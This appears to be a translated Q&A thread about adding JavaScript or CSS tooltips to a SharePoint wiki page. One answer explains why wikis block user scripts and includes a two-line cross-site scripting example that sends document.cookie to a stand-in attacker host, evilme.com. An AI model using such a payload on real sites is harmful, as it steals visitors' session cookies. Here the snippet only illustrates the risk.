2008-09-17 76 views
5

作爲維基管理員,我怎樣才能將腳本(Javascript)輸入Sharepoint wiki頁面?

我想輸入一個標題,點擊它時,在它下面顯示一個小的解釋。我通常使用JavaScript,任何其他想法做到這一點?如何在wiki頁面輸入Javascript?

+1

你是維基網站管理員還是其他用戶。 – sblundy 2008-09-17 21:15:36

+0

這改變了一切。請更新您的問題並加入您的wiki平臺。 – sblundy 2008-09-17 21:21:51

回答

4

假設您是wiki的管理員,並且願意在鼠標懸停而不是點擊上顯示此內容,則根本不需要JavaScript - 您可以使用直接CSS。這裏的的風格和標記的例子:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

對於一些更復雜的風格,你的工具提示框,可以看起來不錯,只要你願意。

0

您應該無法爲任何公開wiki添加JavaScript代碼。如果您自己託管它,那麼您需要請求一個特定的wiki系統,以便有人可以幫助您修改設置 - 如果可能的話對於該系統。

0

如果你在談論使用Javascript在該網站網頁的一部分,你不能。或者任何其他公開的wiki - 這是一個安全風險。

如果你在談論張貼代碼示例,請點擊文本框上方的「101010」按鈕。

0

這當然取決於您正在與之交談的wiki引擎。正如sblundy所說,儘管如此,最有可能在wiki頁面上允許免費使用javascript的安全風險。

1

它完全取決於您使用的特定Wiki軟件。我見過的工作方式是在其他地方託管一個js文件,然後包含一個帶有src屬性的腳本標籤。

如果他們不允許,也許他們允許,你可以設置爲一個包含腳本的網頁的IFRAME。使用第二種技術,您將不被允許訪問主機頁面的DOM。

0

添加title="text here"任何標籤,並在其上懸停時,它應顯示文本。
當您使用alt="text here"屬性時,Internet Explorer將顯示文本,儘管這不符合標準。

我現在測試,你可以添加<h2 title="some explanation here">headline</h2>基於維基的任何系統(在一個維基百科使用)。

9

如果維基作者是明智的,有可能是沒有辦法做到這一點。

用戶提供的JavaScript的問題在於,它爲所有形式的邪惡者打開了從毫無防備的數據中獲取數據的大門。

讓我們假設邪惡 - 我張貼的腳本在公共網站:

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

現在我將收到每個訪問者的頁面的cookie信息,貼到我的服務器上的日誌。這只是冰山一角。

1

我喜歡CSS答案。當你可以使用CSS而不是Javascript時,它會產生更簡單的標記。
另一個需要研究的問題是Codeplex上的SharePoint增強版Wiki社區工具包。您可以下載源代碼並添加自己的功能。或者您可以將其作爲論壇中的一項新功能。

相關問題